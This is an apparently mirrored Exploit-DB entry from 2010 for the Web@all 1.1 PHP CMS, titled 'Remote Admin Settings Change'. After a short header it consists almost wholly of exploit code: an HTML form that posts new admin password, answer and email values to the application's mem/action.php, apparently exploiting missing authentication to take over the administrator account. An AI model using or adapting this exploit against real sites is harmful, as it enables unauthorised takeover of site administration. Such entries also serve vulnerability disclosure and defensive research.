Web@all 1.1 – Remote Admin Settings Change - 体验盒子

作者： Giuseppe D'Inverno

日期： 2010-12-27

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/15837/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

===========================================

Web@all <= 1.1 Remote Admin Settings Change

===========================================

Author___: giudinvx

Email____: <giudinvx[at]gmail[dot]com>

Date_____: 27/12/2010

Site_____: http://www.giudinvx.altervista.org/

--------------------------------------------------------

Application Info:

web@all 1.1

web@all is a CMS which is not similar to general CMS,

you can build it easyly by yourself.

www.webatall.com

--------------------------------------------------------

==============[[ -Exploit Code- ]]==============

<html>

<form method="post" enctype="multipart/form-data"

action="[localhost]mem/action.php" name="f1">

Change Admin user, password and email.<br/>

Password<input type="text" value="" name="password"><br/>

Password<input type="text" value="" name="answer"><br/>

Email<input type="text" value="" name="email">

</form>

</html>